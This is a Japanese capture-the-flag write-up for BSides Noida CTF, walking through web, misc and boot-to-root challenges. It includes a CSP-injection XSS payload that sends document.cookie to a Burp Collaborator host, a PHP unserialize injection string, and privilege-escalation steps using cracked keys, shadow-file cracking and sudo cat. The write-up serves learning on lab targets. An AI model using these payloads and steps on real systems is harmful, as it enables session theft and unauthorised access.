CTFtime.org / BSides Noida CTF
解けたやつだけ。
Web
Baby Web
ソースのindex.phpを見ると、db参照していることが分かる。
$this->open('./karma.db');
SQLiteでよくあるdbにそのままアクセスできてしまうアレではないか探ってみると、ダウンロードできる。
http://ctf.babyweb.bsidesnoida.in/karma.db
DB Browser for SQLiteを使って中身を見るとフラグが書いてある。
Basic Notepad
適当にログインして、触ってみるとXSSの問題のようだ。
適当にpayloadを入れてみると、GETリクエストで何やら送られていることが分かる。
msgにはURL safeなBase64デコードで文字が入っている。jsは動いてないな。
tokenはなんだろう。よくわかっていない。
jsが動かない原因を探っていこう。
CSPか。
Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none'; script-src-elem 'none'; report-uri /report/T0r3RdviLu3IronQMXXW0g
defaultがないな。report-uriは試しに踏んだが、存在しなかった。
CSPには死角が無いように見えるが、tokenが差し込まれている部分でCSPのポリシーをinjectionできそうだ。
msgとして<img src=1 onerror="window.location.href='https://oh97z6pmjx5deoubfcrfp7e7pyvpje.burpcollaborator.net?get='+document.cookie">
をいれて、
tokenとして、; script-src-attr 'unsafe-inline'
をURLエンコードしたものを入れる。
すると、CSPの最後に新たにscript-src-attrポリシーが追加されるので、imgタグのjsコードが動いてくれる。
これを送ると、セッションっぽいのが抜けて、それを使ってログインすれば、フラグが得られる。
GET /?get=auth=YWRtaW46djNyeTUzY3IzdFA0c3N3MHJkZGRk
-> admin:v3ry53cr3tP4ssw0rdddd
wowooo
ソースコードを見ると
PLSSS DONT HACK ME!!!!!!
<!-- debug -->
とあるので、/?debug
するとソースコードが見られる。
入力があって、シリアライズされた配列に直接入れこんでunserializeして、2番目の要素を指定の文字列に書き換える。
Injection的なことをするんだろうと推測しながら手元で色々実験してみると、以下のようなコードで配列の要素をうまく差し込めそうな感じがする。
<?php var_dump(unserialize('a:2:{i:0;s:1:"A";i:1;s:1:"B";}i:2;s:1:"C";}'));
これをやると末尾の無駄な文字列は無視されてarray(2) { [0]=> string(1) "A" [1]=> string(1) "B" }
と出る。
";i:1;s:19:"V13tN4m_number_one ";}
が答えっぽいが、これではダメ。
コードを使って、デシリアライズ前の文字列を見てみるとa:2:{i:0;s:34:"";i:1;s:19:"V13tN4m_number_one ";}";i:2;s:1:"C";}
となっていて、
1要素目が空になっているのに34文字となっている。
確かにコードを見ると、そういう感じになる。
ここで、よくわからないフィルターが役に立つ。
コード長を確認した後にフィルターを使っているので、flagが1つ含まれていれば文字を2文字増やすことができる。
34文字分増えているので、それを帳消しにするには17回flagを入れればいいので、
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}
を入れるとフラグが出てくる。
misc
Psst
圧縮ファイルが与えられて沢山ファイルがある。
適当にファイルを見てみると、フラグが先頭から出てくるような雰囲気になっている。
最適解ではなさそうだが、以下のやり方で採取してきた。シェル芸を勉強するのはちょっと面倒なので、なるべく持ってる知識でやった
find . -type f -exec tail -n+1 {} +
でフォルダ内を全部表示- 順番がごちゃごちゃなので、マルチカーソルで番号を文字を取り出してくる
- 表計算ソフトでソート
- 一行に戻すとフラグ
Death Note
普通にTryHackMeする問題。
ユーザー権限獲得まで
とりあえずnmapすると、21,22,80が空いている。
80を覗いてみるが、特に面白そうなものはない。
FTPでanonymousいけるっぽいので探索してみる。
特に何もないな。wordlistがあるので、80でディレクトリスキャンしてみよう。
/ryuk.apples
というのが刺さり、プライベート鍵が公開されている。
johnで解析するとパスワードはl1ght1skir4
とのことで、これでログインしよう。
ssh -i ./pri.key ryuk@$IP
でパスワード指定するとログインできる。
ルート権限獲得まで
/home/mrgrepを見てみると.sudo_as_admin_successful
という隠しファイルが見つかる。
mrgrepの権限が取れればルート権限まで行けそうだが…?
よく見ると、ryukのホームディレクトリにshadowファイルが置いてある。
ラテラルムーブメントか。
john the ripperと与えられた辞書ファイルを使うと、lightのパスワードが分かる。
MrBS1d3sGrepN0ida@!1337
lightでログインできたので、linpeasを動かしてみる。
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid Matching Defaults entries for light on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User light may run the following commands on ubuntu: (ALL) NOPASSWD: /bin/cat
catがsudoで動かせるとのこと。
cat | GTFOBins
ここを見ると、好きなファイルを覗き見ることができるようだ。
/home/mrgrep/.bash_history
が怪しいなと思っていたところだったので、この中身を見てみる。
すると/root/root.txt
というパスが新たに得られるので、このファイルを同様のテクニックで見てみるとフラグが書いてある。